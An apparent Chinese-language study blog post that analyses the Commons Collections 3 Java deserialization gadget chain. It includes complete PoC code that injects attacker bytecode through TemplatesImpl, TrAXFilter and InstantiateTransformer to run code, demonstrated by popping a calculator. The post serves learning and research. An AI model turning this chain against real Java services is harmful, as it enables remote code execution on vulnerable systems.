commons-collections3反序列化链
commons-collections3反序列化链分析
前言
这是我的第二篇CC链分析的文章，希望师傅们能喜欢，如果我有说错的或者不足的地方，希望师傅们多多指点
类加载器
CC3这条链的话得引入类加载器的相关内容，这里也就稍微说一下吧，因为我也是先自己分析一两遍，再写一下文章当作笔记来加深一下印象。
类加载器是Java Runtime Environment 的一部分，负责动态加载Java类到Java虚拟机的内存空间中，用于加载系统，网络或者其他来源的类文件
如上图，把Test.java编译成Test.class文件，但是如果Test.class文件要再java虚拟机内存中运行需要经过一系列的类操作(加载 验证 准备 解析，初始化)
加载器一共有4种加载器，分别是引导类加载器BootstrapClassLoader，扩展类加载器ExtensionsClassLoader，App类加载器/系统类加载器AppClassLoader和自定义类加载器UserDefineClassLoader
需要使用类的时候，会将生成的class文件加载到内存当中生成class对象进行使用
这里加载过程是使用的双亲委派模式，双亲委派模式其实是走的单线，双亲只是翻译过来，特地的类加载器接到加载类的请时，会先把任务委托给父类加载器，请求父类加载去去加载，当父类加载器无法加载，才会给到子类加载器。大致意思就是先给父类看，父类不能加载才自己进行加载，这样的好处就是可以避免重复加载多次 ，可以看如下代码进行理解，对parent进行了是否为空的判断，如果有parent，先让parent去加载
CLassLoader类核心方法
除了BootstrapClassLoader，其他类加载器都是继承自ClassLoader类
loadClass
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);
// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
在这个方法中，首先使用findLoadedClass来看name是否被加载过，如果没被加载，会使用父加载器调用loadClass方法，如果父加载器为null，类加载器加载jvm内置的加载器，如果通过上述步骤拿到了对应的类，并且接收到的resolve参数的值为true，就会调用resolveClass方法来处理类
findCLass
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}
查找指定的类
findLoadedClass
protected final Class<?> findLoadedClass(String name) {
if (!checkName(name))
return null;
return findLoadedClass0(name);
}
查找已经加载过的类
defineClass
protected final Class<?> defineClass(byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(null, b, off, len, null);
}
定义一个java类，把字节码解析成Class对象
resolveClass
protected final void resolveClass(Class<?> c) {
resolveClass0(c);
}
private native void resolveClass0(Class c);
链接指定Java类
加载流程
不管是加载远程的class还是本地的class或者jar文件都是经历loadClass->findClass->defineClass 这三个方法调用，其中最重要的是defineClass方法
URLClassLoader
这里再来学习一下URLClassLoader这个类，他继承自ClassLoader类，可以加载本地磁盘和网络中的jar包类文件
加载本地Class文件
这里先本地编译一个ch1e.java文件为ch1e.class，顺便丢到D盘下的class文件夹下
然后再编写一个类，使用URLClassLoader来加载这个class文件
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, MalformedURLException {
URLClassLoader urlClassLoader=new URLClassLoader(new URL[]{new URL("file:///D:\\class\\")});
Class<?> c=urlClassLoader.loadClass("ch1e");
c.newInstance();
}
}
然后运行即可看到效果
加载远程Class文件
上面演示了加载本地Class文件，他也可以加载远程的Class文件，刚刚是file协议，现在是http协议，我们可以使用python开个http服务
这里其实在写文章的时候有个小坑，我换完以后他怎么样都能执行，原因是我没把他ch1e.java源文件删了，删了就正常了
defineClass加载字节码
编写一个小demo来看看
import java.lang.reflect.Method;
import java.util.Base64;
public class eee {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}
上面这个demo是演示了一下让系统的defineClass来加载字节码
在defineClass被调用的时候是不会对类进行初始化操作的，只有显式的调用构造函数，初始化代码才能被执行。所以，如果我们要使用 defineClass 在目标机器上执行任意代码，需要想办法调用构造函数。一般情况下，defineClass的作用域一般是不开放的
TemplatesImpl加载字节码
上面刚说了一般情况下，defineClass的作用域一般是不开放的，但是这里就刚好遇到了一个TemplatesImpl
TemplatesImpl位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl，他定义了一个内部类TransletClassLoader，TransletClassLoader的defineClass方法如下，这个内部类重写了defineClass方法，并且是缺省类型，同包下可以访问，就可以被外部调用
这个defineClass调用了defineClass方法，这里就作为链子的终点，那么我们要寻找一条链子，必须先找到调用这个被重写的defineClass方法，于是查找该函数的用法
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
defineTransletClasses方法如上，在for循环语句中调用到了loader.defineClass(_bytecodes[i]);，那么我们现在需要找到哪里调用了defineTransletClasses方法
我们定位到getTransletInstance方法，这里要_name不等于null并且 _class等于null才会调用defineTransletClasses
继续寻找调用getTransletInstance方法的方法
找到newTransformer方法，然后继续寻找调用newTransformer方法的方法
ok，链子到此为止，我们可以来准备着手写poc了，我们这里理一下大致的条件_name不等于null并且 _class要等于null _bytecodes不等于null ，除此之外， _tfactory也需要设置，因为他需要调用 _tfactory的一个方法，但是这里 _tfactory有transient关键字修饰，无法被序列化，但是在readObject方法中给 _tfactory = new TransformerFactoryImpl();赋值了
首先我们可以先把开头和结尾写出来，实例化一个TemplatesImpl对象，调用这个对象的newTransformer()方法
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.TransformerConfigurationException;
public class Test {
public static void main(String[] args) throws TransformerConfigurationException {
TemplatesImpl templates=new TemplatesImpl();
templates.newTransformer();
}
}
这里完成了第一步，第二步我们要先获取一个Templates的Class对象，然后设置他的私有属性的值。下面的demo.class是我自己写的一个类，让Test.java去加载这个恶意类，恶意类的代码如下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://class/demo.class"));
byte[][] codes= {code};
bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}
第二步完成的poc如上，可以手动运行一下， 就会发现，抛出了一个空指针异常，那么我们直接先断点调试一下
到如上位置，if判断那，判断了一下父类的名字是否是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet，不是的话就会执行
_auxClasses.put(_class[i].getName(), _class[i]);
但是我们可以看到此时的_auxClasses的值是null
现在有两种方法，一种是让if里的语句成立，一种是让else里的语句可以执行，但是可以继续往下看，下面的if语句判断了_transletIndex是否大于0，如果小于0，也会抛出异常，但是我们可以看到他默认赋初值是-1，所以我们在第一个if必须成立
要使if语句成立，只要把我们的demo对象继承自这个类，然后实现他的抽象方法,然后重新编译替换进去即可
这时候重新运行，即可弹出计算器
到这已经差不多了，只需要把templates.newTransformer();替换成cc1链后面的内容即可，直接给出poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://class/demo.class"));
byte[][] codes= {code};
bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
hashMap.put("value","key");
Map outerMap = LazyMap.decorate(hashMap, chainedTransformer);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler=(InvocationHandler) constructor.newInstance(Retention.class,outerMap);
Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler);
handler= (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);
ByteArrayOutputStream bo=new ByteArrayOutputStream();
ObjectOutputStream oo=new ObjectOutputStream(bo);
oo.writeObject(handler);
oo.close();
ByteArrayInputStream bi=new ByteArrayInputStream(bo.toByteArray());
ObjectInputStream oi = new ObjectInputStream(bi);
Object o=(Object) oi.readObject();
}
}
但是你如果阅读过ysoserial你会发现，他的cc3链用的不是InvokerTransformer，而是其他的。我们现在重新进行分析。
从TemplatesImpl的newTransformer()方法进行分析，我们这里重新寻找调用
TemplatesImpl的newTransformer方法的方法
这里我们直接选择TrAXFilter这个对象的构造函数
这个类的构造函数传入了一个Templates对象，并且调用这个对象的newTransformer方法，但是问题来了，TrAXFilter对象并没有实现Serializable 接口，所以只能通过TrAXFilter.class入手
这里除了TrAXFilter类以外，还用到InstantiateTransformer这个类，他的构造方法如下
可以看到，我们需要传入一个Class和Object数组，他会把传入的参数作为input的构造函数的参数传入，相当于他调用了构造函数，最终链子如下
InstantiateTransformer.transform()->TrAXFilter.() -> TemplatesImpl.newTransformer() ->
TemplatesImpl.getTransletInstance() -> TemplatesImpl.defineTransletClasses()
-> TransletClassLoader.defineClass()
所以只要把之前的poc里的内容小改一下即可
最后的结果如下：
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://class/demo.class"));
byte[][] codes= {code};
bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
}
这个POC我测试是能弹计算器，因为自己水平比较低，改POC的时候比较乱，如果要是有不正确的希望师傅们指出
最后再来一张链子的截图吧
